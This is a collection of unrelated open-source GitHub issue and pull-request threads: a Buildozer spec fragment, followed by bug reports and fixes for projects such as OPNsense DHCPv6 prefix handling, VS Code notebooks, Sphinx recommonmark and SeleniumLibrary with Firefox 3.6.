#android.add_libs_armeabi = libs/android/*.so
#android.add_libs_armeabi_v7a = libs/android-v7/*.so
#android.add_libs_x86 = libs/android-x86/*.so
#android.add_libs_mips = libs/android-mips/*.so

# (bool) Indicate whether the screen should stay on
# Don't forget to add the WAKE_LOCK permission if you set this to True
#android.wakelock = False

# (list) Android application meta-data to set (key=value format)
#android.meta_data =

# (list) Android library project to add (will be added in the
# project.properties automatically.)
#android.library_references =

# (str) Android logcat filters to use
#android.logcat_filters = *:S python:D

# (bool) Copy library instead of making a libpymodules.so
android.copy_libs = 1

#
# iOS specific
#

# (str) Path to a custom kivy-ios folder
#ios.kivy_ios_dir = ../kivy-ios

# (str) Name of the certificate to use for signing the debug version
# Get a list of available identities: buildozer ios list_identities
#ios.codesign.debug = "iPhone Developer: <lastname> <firstname> (<hexstring>)"

# (str) Name of the certificate to use for signing the release version
#ios.codesign.release = %(ios.codesign.debug)s

[buildozer]

# (int) Log level (0 = error only, 1 = info, 2 = debug (with command output))
log_level = 2

# (int) Display warning if buildozer is run as root (0 = False, 1 = True)
warn_on_root = 1

# (str) Path to build artifact storage, absolute or relative to spec file
# build_dir = ./.buildozer

# (str) Path to build output (i.e. .apk, .ipa) storage
# bin_dir = ./bin

#    -----------------------------------------------------------------------------
#    List as sections
#
#    You can define all the "list" as [section:key].
#    Each line will be considered as a option to the list.
#    Let's take [app] / source.exclude_patterns.
#    Instead of doing:
#
#[app]
#source.exclude_patterns = license,data/audio/*.wav,data/images/original/*
#
#    This can be translated into:
#
#[app:source.exclude_patterns]
#license
#data/audio/*.wav
#data/images/original/*
#

#    -----------------------------------------------------------------------------
#    Profiles
#
#    You can extend section / key with a profile
#    For example, you want to deploy a demo version of your application without
#    HD content. You could first change the title to add "(demo)" in the name
#    and extend the excluded directories to remove the HD content.
#
#[app@demo]
#title = My Application (demo)
#
#[app:source.exclude_patterns@demo]
#images/hd/*
#
#    Then, invoke the command line with the "demo" profile:
#
#buildozer --profile demo android debug

Some parameter:

python     v2.7
kivy          v1.9.1
3  pygame   v1.9.2


Hidden achivements still show a title and icon

Hidden achievements still seem to show their title and icon, which can spoil important story elements for many games (example is less severe, but of course I didn't want to spoil myself, so I screenshotted to one I fully read anyway, but I got a quick glimpse of some that looked like they basically spoiled most of the story):

It doesn't seem like there's any way to hide that as well, but it would be good if there was an option (icon might not be as severe, but title definitely is, maybe 2 options would make sense there and replace the icon just with some generic icon that shows it's hidden, like a strucken through eye)

While the solution you're looking for doesn't currently exist, there is a semi-workaround that will set all locked achievements (hidden or not) to a single custom icon.  Find an icon you like, and add it on the Misc. tab under "Locked Icon Configuration".  Obviously, this has the downside of showing that icon for all achievements that aren't unlocked, but I'd prefer that over spoilers.

Yeah but I think the title is definitely more severe and hiding the icon isn't doing that much. My workaround currently is just to look on steam directly instead as long as I'm not finished with the Story of a game.

Way better with the latest release, thanks


Initialize PoST with OpenCL

Motivation
Closes https://github.com/spacemeshos/post/issues/130
Changes
Integrate changes from post library update
Test Plan
New all existing tests related to initialization, proof generation and verification pass.
TODO

[x] Explain motivation or link existing issue(s)
[x] Test changes and document test plan
[x] Update documentation as needed

DevOps Notes

[x] This PR does not require configuration changes (e.g., environment variables, GitHub secrets, VM resources)
[x] This PR does not affect public APIs
[x] This PR does not rely on a new version of external services (PoET, elasticsearch, etc.)
[x] This PR does not make changes to log messages (which monitoring infrastructure may rely on)

bors try

bors cancel

bors try

bors try

bors try

bors try

bors try

bors try

bors try

bors try

bors try

bors try

bors try

bors merge

bors merge

bors merge

bors merge


Use Content Server API

Fixes #363

Before merging this, please do an integration test against http://content.mumuki.io
I have loaded all the production guides there


Question - Have you implemented a way to get the actual price?

Thought you mentioned you were working on that, just checking if it happened to be implemented yet, didn't see it in the readme. Thought you might have added it with 1.3.
If not is it something you plan to add? Any tips for me on how to find it? I tried a little but didnt get far, I found prices / dollar amounts in the text extract but it was pretty random not very coorelated with the actual ticket prices.
Appreciate it!
Joseph
P.S. I'll be testing if 1.3 solved those other bugs this weekend, thx for releasing it.

Hi,
Yes, I suppose. I think I've added the "price" schema along some recent updates as mentioned in this commit: https://github.com/AWeirdDev/flights/commit/b094b39de6e5a68ef5abf843ffa4a2427787b7f2
Cheers,
AWeirdDev

There's a typo in the classes used for obtaining the price. I've submitted PR https://github.com/AWeirdDev/flights/pull/7 which resolves it.


Update for compatibility with new versions of 3ds Max

Fixes #53 and should also fix #54. The plugin should now display in the Export menu and upload data to Cesium ion without any further changes. For reference, this was tested with the latest version of 3ds Max 2021.
@shehzan10 for review

@j9liu Just checked this and I seem to be getting the desired functionality - the Kokura Castle shows up in the folder "My Assets" on Cesium ion. Let me know if there is anything else I can do to help.

Thanks @j9liu and @srothst1 for updating this.


[FEATURE] Log creating / deleting Items

Describe your idea
Would it be possible in the future to log the creation or deletion of items for an actor?
Like the actor gets a new item or looses it.
Maybe I'm blind but I think I didn't see that option.

bump on this! I'd love to see changes to inventory, not just quantities of items.
Love the module!!

Should be possible. I'll have a look into it.

Thanks for adding it!


CLI: Can't change configuration on Juniper QFX devices

Nothing is shown below the "config" node when using Juniper QFX.
set devices device qfx config ?

autocli configuration error.
A rule to enable autocli on junos has the following rule:
     <module-name>junos-conf-root</module-name>

But the top-level on qfx is junos-qfx-conf-root


feat(Posture Management): add service to project

PR summary
This PR adds the Posture Management service to the project.
PR Checklist
Please make sure that your PR fulfills the following requirements:

[ ] The commit message follows the Angular Commit Message Guidelines.
[ ] Tests for the changes have been added (for bug fixes / features)
[ ] Docs have been added / updated (for bug fixes / features)

Current vs new behavior

Does this PR introduce a breaking change?

[ ] Yes
[ ] No

Other information

:tada: This PR is included in version 0.18.0 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


[Event Hubs] Followup of "$cbs" endpoint time out issue

Reference - #7786

SDK initializes the sender session on the existing connection before sending the message.
The operation is expected to be retried even if the initialization fails even with a retryable error.

Make sure event-hubs respects this. If not, update the retry logic to handle the "init" part along with the trySend part just like service-bus.

#8685


Finalization of release process

Process:

New Spark version available on our side
we prepare snapshots to check the difference
one guilde developer integrate the new Spark version within Polaris
Polaris developers are responsible to check (using snapshots)

We need to have a clear documentation about this process to officialize the shared responsibility between Guilde and Spark. Fred is working on the documentation of this process for the guilde and Spark developers will share it after.

Communication to the guilde done by Lead Developer.
Put the documentation on Github.


Show ISP Assigned PD in status nterfaces

uses the new feature within dhcp6c to display the ISPs allocated prefix. We may be able to use this rather than asking the user to enter the prefix size in interfaces.

Updated with your amendments.

Merged via 39a3a912830, thanks!

@marjohn56, I noticed that the delegated prefix line vanishes from Interfaces / Overview after a few days of uptime (not exactly sure yet). When this happens, the /tmp/_pdinfo file is gone, too. No other side effects though. A manual DHCP reload or system reboot brings it back.

No idea why that would happen. The pdinfo file only gets deleted on a link down event.

I checked the log, there were no link state changes since the last reboot (about 10 days ago). But the _pdinfo file definitely was missing when I checked earlier today. And it was back after triggering a WAN DHCP reload in the GUI.
I'll monitor this more closely and will try to spot any correlations when it happens again.

The joys of mysterious events. :) I had thought of making dhcp6c delete the file at some point but changed my mind and never added that; so the only delete is in interfaces.inc as far as I know. Actually there might be another reason... let me check the dhcp6c script.... There's the problem. The script deletes the pdinfo file even if it's a renew, I'll push a PR to fix that.

dhcp6c should re-write it even on a renew - very odd.

Nope... does this look wrong... I think it does,,
if [ -z "${PDINFO}" ]; then
rm -f /tmp/igb0_pdinfo
else
echo ${PDINFO} > /tmp/igb0_pdinfo
fi
If I am correct it says if it exists, delete it, otherwise write it.... hence a renew will delete it. :)

No, it's correct, if the var does not exist delete if it does then write it... it's good. So why it vanished from your system is still a mystery.

My ISP's DHCPv6 leases have a preferred lifetime of 7 days and a valid lifetime of 14 days. From the logs I can see that OPNsense auto-renews after 3.5 days (half of the preferred lifetime). So I'll go check on Saturday and Sunday and will let you know.
What I can say is that a manual reload writes far more dhcp6c log entries than an automatic renew. But this might be by design?

Yep, dhcp clients usually renew on half of the valid lifetime,  Here's a nice explanation from jupiter..
https://www.juniper.net/documentation/en_US/junos/topics/concept/dhcpv6-lease-timers.html#:~:text=valid-lifetime—Length of time,can no longer be used.&text=This timer is also called the rebind time.

The automatic renew happened and sure enough, the _pdinfo file was gone afterwards. Looking at the dhcp6c log, I might have an idea of what's going wrong:
While the prefix (IA_PD) and WAN address (IA_NA) do have the same lifetimes, they get renewed separately. First, IA_PD gets renewed, then dhcp6c_wan_script.sh gets executed. Two seconds later, IA_NA gets renewed and dhcp6c_wan_script.sh gets executed again. Might that second run of the script delete the _pdinfo file?

hmm... nice one, perhaps.... I'll take a gander.

Why are we taking about "_pdinfo" .. the correct file is "em0_pdinfo" or similar... may just be simplification but details matter....

only if it's a virtual interface, could be igb0 or whatever...

My intention was to generalize it because the actual name depends on the interface. On my system (Hyper-V) it's actually /tmp/hn0_pdinfo.

I know what you meant.,. :)

OK, it's possible. if dhcpc6c does not generate the pdinfo env var then it will get deleted. Maybe we should only delete it on an interface down event, which already happens....
Thoughts @fichtner ?

OK, we just need to make some changes to the  dhcp6c script. We'll move the creation of the files to the REQUEST response, rather than global. We can create on REQUEST and delete on RELEASE.

But if the release happens the PD should be gone ok? Or is this a RENEW issue?

It's only ion RENEW, but I suspect dhcp6c does not generate the PDINFO on RENEW, hence the env var is not there and the script deletes any existing pdinfo file. So I'll move the file creation into the REQUEST|RELEASE case block and create it only on REQUEST and delete it only on release

sounds reasonable and fits the described situation by @maurice-w , nice catch

@fichtner - What is the purpose of this :  (!empty($syscfg['dhcp6_norelease']) ? 'EXIT' : 'RELEASE') . ") ?
If the No RELEASE Flag is set dhcp6c does not respond with a RELEASE env var

d36f0f4f62557e

So why not just  RELEASE|EXIT ?

I don't know. It's your change.

It wasn't,  I don't like bourne scripts. :)

Ok, let's dig a bit deeper and reverse roles: me asking you what this means... https://github.com/opnsense/core/pull/2030/files#diff-1332c372788c9e1a8c6c9bae9ebb55a5R3211 ;)

Well it appears I didn't remember then and I don;t remember now, IF I did do that, which I still find odd then I must have been having a good bourne shell day. However, I see no  reason ( pun intended ) for it and so the fix I've just issued removes that and just uses RELEASE|EXIT. It's still there in the code if we want to revert that bit.
Fix is #4153
@maurice-w - Can you try it.

I can check this with my system, my slave systems only get a 30 minute lease.,

Yes, still there after a renew.

Thanks guys, I applied 0e44420 and will report back after the next renew! :-)

I can confirm that it now survives a renew. 👍


Doesnt work without Google Play Services

The app doesn't work on a Lineage Android build.
Will the app be supported on a naked Android build?
LineageOS: 14.1-20190720
Android: 7.1.2
Device: HTC One A9

Considering the responses on #69 and the German app (from which this is a fork) has the same issues, I don't think that's gonna be the case.

How would it be able to work without the Play Services?
https://developers.google.com/android/exposure-notifications/exposure-notifications-api

It works fine by "faking" Play Services with microG + Xposed (for signature spoofing) + FakeGApps
microG (which is open source) implemented the Exposure Notification API (which is made open source too, by Google)
https://github.com/microg/android_packages_apps_GmsCore/issues/1057
https://github.com/google/exposure-notifications-internals

I am sorry but this is not something that will be supported in the future.

I can confirm that this works on microG for LineageOS 16.0. Official support would have been nice, but at least it works.


Geocode Analysis should include additional metadata with results

Context
Geocoding Analysis via Builder appends data to each record but does not include any metadata detailing the source, confidence, or location type which can be important.
For example, the Google Maps API includes location_type  which can be "APPROXIMATE", "ROOFTOP", or other values indicating the accuracy.
HERE and Mapzen APIs provide similar metadata.  It seems that we are receiving this data in the payload when we call them but we are not adding it to the Analysis results.
The Fix
Geocoding Analysis results should include the following fields when available:

source: Mapzen, HERE, Google, as applicable
confidence: value provided by the provider to indicate how confident they are in the result
accuracy: value provided by the provider to indicate the accuracy level of their geocoding:

Potential issues

Does add this new field break any existing Geocoding Analysis run before the metadata was available?
Do the different providers have different metadata?
What impact does this have on the time it takes to run the analysis.

cc @rafatower

Where should you store those information? In each row?

This is a mid-size feature, not a patch. Please kindly add it to the "what's next"

hey chiming in here as we have had some customers request this as well - we looked at the mapbox results and they have a field that returns geocoding attributes. this along with a true/false flag for a successful geocode would be valuable for many customers

Assigning to @inigomedina and @alonsogarciapablo for prioritization and further definition in Engine and Builder (I can help you with it). Eventually you will need to involve @juanignaciosl as well.
This should probably be moved to a different repository.


Fix a bug in CSM interp_time

Changes
Before this PR, calling CoordinateSystemManager.interp_time with absolute times would fail if the CSM had coordinate systems without a reference time even though the CSM has one.
Checks

[x] updated CHANGELOG.md
[x] updated tests
[x] updated doc/
[x] update example/tutorial notebooks

good catch ! 👍

just to clarify: the case where a CSM  instance with one or more TimedeltaIndex LCS does not have a specific reference time but more than one LCS with internal DateTimeIndex is forbidden right?
What happens if for the CSM self.has_reference_time == False but self.uses_absolute_times == True? Do we take the LCS internal Timestamp for reference?

just to clarify: the case where a CSM instance with one or more TimedeltaIndex LCS does not have a specific reference time but more than one LCS with internal DateTimeIndex is forbidden right?

As far as I remember mixed cases are generally forbidden if the CSM has no reference time.

What happens if for the CSM self.has_reference_time == False but self.uses_absolute_times == True? Do we take the LCS internal Timestamp for reference?

Yes, that is handled by the LCS interp_time which is called by the CSM. The actual error originated from the LCS function itself since it does not allow mixed cases. So without the new lines, we had absolute times as input to an LCS without reference time.
This couldn't happen before we updated the CSM's interp_time


added policy for handling Image-Policies

tested it works when removing quay.io from the policy I get
Running image docker://quay.io/XXX:latest is rejected by policy
when starting a pod

nice! we can merge once @dockerymick reviews the text


[stable/elasticsearch] non-persistent volume hostPath

What this PR does / why we need it:
Allows to set a volume of type hostPath if data nodes are configured without persistent volumes. By default, if data.persistence.enabled set to false volume of type emptyDir will be created. This is not suitable for scenario when you want to mount a specific host directory for non-persistent volume.
Checklist
[Place an '[x]' (no spaces) in all applicable fields. Please remove unrelated fields.]

[x] DCO signed
[x] Chart Version bumped
[x] Variables are documented in the README.md

/assign @simonswine

@rendhalver @simonswine @icereval is there any chance to merge this PR?

@rendhalver @simonswine @icereval any comments on this PR?

@rendhalver @simonswine @icereval any chance to review this PR?


Add Standardrb

Add standard for linting and fixes the offenses.

I'd love to see this gem use standard!


Add app settings option to enable background notification check over WiFi only

Add app settings option to enable background notification check only over WiFi to allow users optimize mobile data usage

Implemented 'Wifi only' setting. Background check is automatically disabled if user disables android notifications in settings, and does not have any widget installed


Dry run 2 genesis & configuration update

supply genesis deployed during the second dry-run
update nodes/configuration.yaml to point to that genesis (with hash updated)

Note, that because nodes/configuration.yaml was updated for mainnet, it's now inconsistent (and was inconsistent before this branch).

This is needed for hash to actually match the genesis, altough we now have two of them.


ipynb not opening when resolving merge conflicts

Bug: Notebook Editor, Interactive Window, Editor cells

Steps to cause the bug to occur

Attempt to merge between two divergent branches with merge conflicts in an ipynb file from terminal.
Try to resolve these conflicts in code by opening that file in vscode

Actual behavior
Nothing but a blank screen will render on trying to open the ipynb file.
Expected behavior
Ideally show in rendered cell format. Alternatively, at least show merge conflicts in raw ipynb form

Your Jupyter and/or Python environment
Please provide as much info as you readily know

Jupyter server running: Local

VS Code version: 1.44.2

Python and/or Anaconda version: python 3.

OS:  Mac

Virtual environment: conda

Developer Tools Console Output

Microsoft Data Science for VS Code Engineering Team: @rchiodo, @IanMatthewHuff, @DavidKutu, @DonJayamanne, @greazer

Thanks for the issue @MaxwellWibert. Could you please upload the console log?
Help -> Toggle Developer Tools.
That should help us find the issue.
Also I'm not sure if we support .ipynb with git. I'll take a look.

@DavidKutu , can you clarify what you repro'd here?

Thanks for the issue @MaxwellWibert. Could you please upload the console log?
Help -> Toggle Developer Tools.
That should help us find the issue.
Also I'm not sure if we support .ipynb with git. I'll take a look.
Edit: Yeah we do support looking at your diff while staging and stuff like that. But I was able to repro this.

Info Python Extension: 2020-05-14 16:21:01: Cached data exists getEnvironmentVariables, /Users/maxwelltwibert/Desktop/Boots/Stable-Isotope-Analysis

I believe the question is about what the repro steps are and what the exact behavior is.
For example, if I do this:

Clone a git repo with notebooks in it
Open this folder in VS code
Change a notebook
Go to the diff panel and double click

I get a diff view of the ipynb json.
What do you guys (@DavidKutu  and @MaxwellWibert ) get?
Additionally can you both make sure you're using the latest python extension - 2020.5.78807 as of this writing.

I am using the latest python extension. Steps If I
1.clone a repo,
2.change a notebook,
3. commit,
4. add an additional change without committing,
5. Go to git panel
I get the diff view on the ipynb json for staged changes, but not one for commited changes.
If after step 3 I try
4' to merge from a divergent branch, and then
5' click on the ipynb in the file explorerer, I get a blank screen, with the console logging the message I posted above

create a git repo with a notebook in it
checkout to a second branch
make a change on cell 1, line 1
commit
checkout to master
make a different change on cell 1, line 1
commit
checkout to the second branch
run 'git merge master'

After that, the git conflict comes up and if you try to open the ipynb file, you can't.


Revisit installation docs, re:vue CLI 3

The installation page for vue and the vue cli docs show different instructions because vue cli 3 is in beta, so we should probably explain why, to avoid confusion.

Closing this issue because Vue CLI 3 is live now and docs are in sync 😉


Mass update

Changes:

New type OrderedEffectCell with EffectOrder
Full documentation + doctests
Operator passthrough
Custom Debug impls
update_lambda and set_lambda
Update README with new examples for features
Github Actions for CI testing
No longer no_std due to requirement of Vec for multiple effect bindings

Note: There is a lot changed so the git diffs look like a mess

Thank you so much! One thing: could you add a note saying that effects are run in the order in which they are added?

No problem! I have just committed it now.

Could an as_ref() (or similar name) be added to get an immutable reference to the inner data?

Yes, that seems useful. @ScratchCat458 feel free to add it to the PR. Otherwise, I have no problem adding it in after this is merged.

Thank you so much @ScratchCat458!


Extra Profile .nc files

We went through our profile .nc files and it seems that half the files captured the start/end of a profile - all the expected profiles are reflected, but every other .nc file generated has this structure with 25 sample points from the bottom and top of the profile, but is not a continuous dive. I have added the first few EBD/DBD files along with the resulting .nc files (one is a usable profile, one has the 25 samples) and the timeseries/gridfile. Any explanation for why this is happening and how to fix it? https://github.com/mackenziemeier86/Pyglider-Test-Data-and-Output-.git

@mackenziemeier86 there are arguments to slocum.binary_to_timeseries that set how profiles are determined.


When Importing via the GUI add a Tick Box to automatically create the Icon for this macro

Default to be on but give someone the ability to untick it.

![Auto Create Icon]!https://cdn.discordapp.com/attachments/208019977717022721/278055342515027988/unknown.png)


CommandContextManager is misleading

First, this is not allowed:
https://github.com/dolittle-runtime/Runtime/blob/d1c59c5546ac53a1d4ffe5fa03e0ce4cc80a32a4/Source/Commands.Coordination/CommandContextManager.cs#L13
You cannot use ThreadStatic in the context of a web application.  At best it should be AsyncLocal.
However, a bigger problem is the idea of enlisting multiple commands within a single command context.   A command is a transaction, you cannot have multiple commands, effectively multiple transactions, within a single context.  Every command should create its own context.
┆Issue is synchronized with this Asana task

Just for correctness - this file has now been moved to SDK as part of the v5 changes. So the new location is here: https://github.com/dolittle-runtime/DotNET.SDK/blob/90d4657f0ada16f6462bb8f93e56ef1c97fc3af8/Source/Commands.Coordination/CommandContextManager.cs#L13

The ThreadStatic problem has been fixed in https://github.com/dolittle-runtime/DotNET.SDK/commit/4f81d961cf81dc83d57e595109da08e832951d00.
As for multiple commands being enlisted in a single command context, I don't really understand the problem you are describing. If you establish a CommandContext for a new command - i.e. not the Command that was used to establish the current CommandContext, it will create a brand new one. So there will only ever be a single Command in a CommandContext, as you can also see here: https://github.com/dolittle-runtime/DotNET.SDK/blob/5.0.0/Source/Commands.Coordination/CommandContext.cs.
So could you please clarify what you mean with the second part of your issue?

Ah, ok.  I could have been clearer.
There can be no nesting of commands so there's no need for a command context manager that keeps track of nested commands.  The only use for the CommandContextManager would be to enable this as far as I can see and we definitely don't want that.
Neither is there, for that matter, use for a command context that can track more that one aggregate.


Linking to .py file from a markdown files gives a warning: "any reference target not found"

I've got a README.md with a relative link to a .py file, like this:
[main script](main.py)

When building the docs to html I get this warning:
/Users/XXXX/git/XXXX/docs/source/XXXX/README.md:124: WARNING: None:any reference target not found: main.py

I make sure that the .py file is in the right location, and in the final HTML, the link does actually work! So, what's the problem then? Well, I need my build to be clear of warnings, so that I can use the -W flag, so that important warnings are raised and caught as errors.
I still get a warning if I use ./main.py in the link, but I don't get a warning if I point the relative link to a markdown file instead. So, I suspect that there is some mechanism that allows only links to files with specific extensions? But if I add ".py" to the source_suffix list then I get a bunch of errors since I think the .py files are then parsed as markdown. I know there's also an option of providing a dict for source_suffix, but I'm sure what value to map the ".py" extension/key to. I thought of writing my own parser, but there has to be a simpler solution...
The docs mention:

For all links in commonmark that aren’t explicit URLs, they are treated as cross references with the :any: role. This allows referencing a lot of things including files, labels, and even objects in the loaded domain.

which led me to think that links to files should work out of the box...?
(note: I'm not sure this is an issue with recommonmark, but I think it might be due to it seemingly being an issue with cross-referencing)

Same here, but for a JSON file:
[package-lock.json](package-lock.json)
I have added to my conf.py
import recommonmark
from recommonmark.transform import AutoStructify

...

def setup(app):
    app.add_config_value('recommonmark_config', {
            'url_resolver': lambda url: 'https://NTERNAL_URL/' + url,
            'auto_toc_tree_section': 'Contents',
            }, True)
    app.add_transform(AutoStructify)


Off canvas open method overlap for f6

Hi,
I'm having a bit of problem trying to implement overlap menu for foundation 6. This was a feature in  foundation 5 using:
$(document).foundation({   offcanvas : {     // Sets method in which offcanvas opens.     // [ move | overlap_single | overlap ]     open_method: 'move',      // Should the menu close when a menu link is clicked?     // [ true | false ]     close_on_click : false   } });
I appreciate if anyone can point me to the right direction or documentation. I'm trying to achieve something similar to http://www.dtelepathy.com/
Thanks.

Hi @hoscb
Currently this isn't a feature of F6. However I am working on a complete re-write on the off canvas menu system with the aim for inclusing in 6.3 (RC is due to be released next month), and this is one of the features included. I'll update this ticket when I have something I can share with you to test if you would be interested?

Hi Brett,
Thanks for the reply.
Currently I'm using another off-canvas menu.
Sure, would love to test the new feature if is ready and available.
Cheers

@hoscb The PR for off canvas is now up here: https://github.com/zurb/foundation-sites/pull/9357
Its still got some things to iron out, but the overlap option is working nicely.
Feel free to test it - I'd welcome the feedback.

Off canvas has been completely reworked for 6.3 and this issue should now be solved as there is a new overlap transition option.
Release candidate is out today, witht he full release scheduled for the 15th December.
Closing this, but if you still have issues with 6.3 please re-open.


[Fabric 1.20.1] latest mod version crashes on launch

crash-2024-09-19_23.25.33-client.txt
previous versions dont crash like this

upon further testing and inspection, this version has an unlisted dependency, that being KubeJS (which in turn requires Rhino
this fixes the crash

This is a bug

Fixed in 1.3.1


Add missing metric for the number of PATCH requests per second

Motivation
Customer request

Can you add metadata assertion to the tests?

Done!


fix(ast)!: remove AstKind::ExpressionArrayElement and AstKind::ClassHeritage

closes #6392

Merge activity

Oct 21, 9:27 AM EDT: The merge label '0-merge' was detected. This PR will be added to the Graphite merge queue once it meets the requirements.


Suggestion: Make CUI Unicode-aware

What I want is very similar to what #67 requests.
Current behavior is very unfriendly for building automation tools with it.
The output field of GUI can be overridden to act like -o of CUI, why not -o of GUI?
I can just use the CUI to achieve this, but it is not Unicode-aware, it does not correctly process anything not named in system locale.
I know not much in C++ but I tried to make the CUI Unicode-aware,  just

a _setmode(_fileno(stdout), _O_U16TEXT);,
string to wstring,
"string" to L"string",
printf() to wprintf(),
also some copy & paste from waifu2x-caffe-gui/MainDialog.cpp,

but:

I've spent ~15 hours on getting cmake to build caffe on VS 2017

I tried your caffe-builder, but the Boost.Build hates VS 2017 toolset and wasted me ~10 hours,

Redownloads and unzipping Boost really contribute, even on SSD it's still HELL SLOOOOOOOW.

Also tried the windows branch of BVLC/caffe and the Original caffe-builder but since #46 that's my 6 hours gone.

VS 2015 installer says "no" to my machine by crashing itself every time I launch it,
The VS 2015 toolset installed with VS 2017 installer is so broken that its own developer command prompt refuse to be useful.

But it can be used in VS 2017, what the hell.

This is very frustrating and I don't bother trying again.
I may:

on your request create a pull request with my modified waifu2x-caffe/Source.cpp and leave the testing to you, or
get a working caffe environment from you so I can test it myself before creating PR, or
just wait for you to adjust the behavior of -o.

I'm away from coding the next few days so take your time.

Anyways, here is the commit.
https://github.com/alemonmk/waifu2x-caffe/commit/a54d1ed006f8b2978d11af5fa6ae1daf4ced90db
GitHub treat it as binary so there's no diff ... SmartGit has no problem though.

CUIでUNICODEでのビルドにも対応しました。 aaa43282701cf41067e3d1020cca35aa2ba88d0b

Thank you for saving me much headache. :)


Long title in mobile not working correctly...

Hi guys!

Hi,
I'm thinking this text is too bold and too big. Also, in older versions of Redmine, this was a regular select which means it would keep the text in one line and trim it, so this should work similarly because we don't want the header to expand and take up screen space.
Would this be enough?

Yeah, I think it looks great. Thanks.


Support Firefox 3.6 by updating the embedded Selenium Server to 1.0.3 version

Originally submitted to Google Code by jrvilda on 24 Feb 2010

KEYWORD: SeleniumLibrary.Open Browser http://www.google.com, firefox
Documentation:	Opens a new browser instance to given url.
Start / End / Elapsed:	20100224 13:09:47.000 / 20100224 13:10:23.467 /
00:00:36.467
13:09:47.015 	TRACE 	Arguments: [ http://www.google.com | firefox ]
13:10:23.342 	INFO 	Opening browser 'firefox' to base url
'http://www.google.com'
13:10:23.453 	FAIL 	Could not connect to Selenium Server in 10 seconds.
Please make sure Selenium Server is running.
13:10:23.453 	DEBUG 	Traceback (most recent call last):
File "c:\python26\lib\site-packages\SeleniumLibrary_init_.py", line
275, in open_browser
self.connect_to_selenium_server()
File "c:\python26\lib\site-packages\SeleniumLibrary_init.py", line
294, in _connect_to_selenium_server
raise RuntimeError("Could not connect to Selenium Server in 10 seconds. "

Originally submitted to Google Code by @pekkaklarck on 24 Feb 2010

This could be a Selenium problem (I'm not sure does the version bundled with SeLib
2.3 work with Fx 2.6 yet) but the fact connection to Selenium Server fails makes me
wonder is it really started. Have you tested does running tests work with other browsers?

Originally submitted to Google Code by jrvilda on 24 Feb 2010

yes, in the version 3.5 works well.
With firefox 3.6 is running but does not display the window

Originally submitted to Google Code by @pekkaklarck on 25 Feb 2010

The browser is actually launched by the Selenium Server. The error message you
provided shows that you cannot connect to the Selenium Server at all, and I don't
know how that could be affected by the browser version.

Originally submitted to Google Code by jrvilda on 25 Feb 2010

problems when launching the browser with the "-chrome chrome: / / killff / content /
kill.html"
selenium-library 2.3 has been released on February 15
selenium-rc 1.0.3 with support firefox 3.6 has been released on 23 February.
Can I change the selenium-server.jar  Library 2.3 RC for 1.0.3?

Originally submitted to Google Code by jrvilda on 25 Feb 2010

This is de report :
-+KEYWORD: SeleniumLibrary.Start Selenium Server
Documentation: Starts the Selenium Server provided with SeleniumLibrary.
Start / End / Elapsed: 20100225 18:31:11.875 / 20100225 18:31:11.890 / 00:00:00.015
18:31:11.875 TRACE Arguments: [  ]
18:31:11.890 INFO Selenium Server started to port 4444. Log is written to
e:\documents and settings\administrador\logs\20100225\selenium_server_log.txt.
18:31:11.890 TRACE Return: None
+-KEYWORD: SeleniumLibrary.Open Browser http://www.google.com, firefox
Documentation: Opens a new browser instance to given url.
Start / End / Elapsed: 20100225 18:31:11.890 / 20100225 18:31:46.640 / 00:00:34.750
18:31:11.890 TRACE Arguments: [ http://www.google.com | firefox ]
18:31:46.640 INFO Opening browser 'firefox' to base url 'http://www.google.com'
18:31:46.640 FAIL Failed to start new browser session: Unable to delete file
E:\DOCUME~1\ADMINI~1\CONFIG~1\Temp\customProfileDir9fc92fab0d624fbbbd8ddc973350973b\parent.lock
18:31:46.640 DEBUG Traceback (most recent call last):
File "e:\python26\lib\site-packages\SeleniumLibrary_init_.py", line 275, in
open_browser
self.connect_to_selenium_server()
File "e:\python26\lib\site-packages\SeleniumLibrary_init.py", line 288, in
_connect_to_selenium_server
self._selenium.start()
File "e:\python26\lib\site-packages\SeleniumLibrary\selenium.py", line 189, in start
result = self.get_string("getNewBrowserSession", [self.browserStartCommand,
self.browserURL, self.extensionJs])
File "e:\python26\lib\site-packages\SeleniumLibrary\selenium.py", line 221, in
get_string
result = self.do_command(verb, args)
File "e:\python26\lib\site-packages\SeleniumLibrary\selenium.py", line 217, in
do_command
raise Exception, data

Originally submitted to Google Code by jrvilda on 25 Feb 2010

18:31:12.093 INFO - Java: Sun Microsystems Inc. 14.3-b01
18:31:12.093 INFO - OS: Windows XP 5.1 x86
18:31:12.109 INFO - v1.0.1 [2696], with Core v@VERSION@ [@REVISION@]
18:31:12.218 INFO - Version Jetty/5.1.x
18:31:12.218 INFO - Started HttpContext[/selenium-server/driver,/selenium-server/driver]
18:31:12.218 INFO - Started HttpContext[/selenium-server,/selenium-server]
18:31:12.218 INFO - Started HttpContext[/,/]
18:31:12.359 INFO - Started SocketListener on <IP_ADDRESS>:4444
18:31:12.359 INFO - Started org.mortbay.jetty.Server@c40c80
18:31:12.593 INFO - Checking Resource aliases
18:31:12.609 INFO - Command request: getNewBrowserSession[*firefox,
http://www.google.com, ] on session null
18:31:12.609 INFO - creating new remote session
18:31:12.796 INFO - Allocated session 9fc92fab0d624fbbbd8ddc973350973b for
http://www.google.com, launching...
18:31:12.875 INFO - Preparing Firefox profile...
18:31:34.359 ERROR - Failed to start new browser session, shutdown browser and clear
all session data
java.lang.RuntimeException: Firefox refused shutdown while preparing a profile
at
org.openqa.selenium.server.browserlaunchers.FirefoxChromeLauncher.waitForFullProfileToBeCreated(FirefoxChromeLauncher.java:311)
at
org.openqa.selenium.server.browserlaunchers.FirefoxChromeLauncher.populateCustomProfileDirectory(FirefoxChromeLauncher.java:106)
at
org.openqa.selenium.server.browserlaunchers.FirefoxChromeLauncher.launch(FirefoxChromeLauncher.java:83)
at
org.openqa.selenium.server.browserlaunchers.FirefoxChromeLauncher.launchRemoteSession(FirefoxChromeLauncher.java:350)
at
org.openqa.selenium.server.browserlaunchers.FirefoxLauncher.launchRemoteSession(FirefoxLauncher.java:98)
at
org.openqa.selenium.server.BrowserSessionFactory.createNewRemoteSession(BrowserSessionFactory.java:357)
at
org.openqa.selenium.server.BrowserSessionFactory.getNewBrowserSession(BrowserSessionFactory.java:122)
at
org.openqa.selenium.server.BrowserSessionFactory.getNewBrowserSession(BrowserSessionFactory.java:84)
at
org.openqa.selenium.server.SeleniumDriverResourceHandler.getNewBrowserSession(SeleniumDriverResourceHandler.java:699)
at
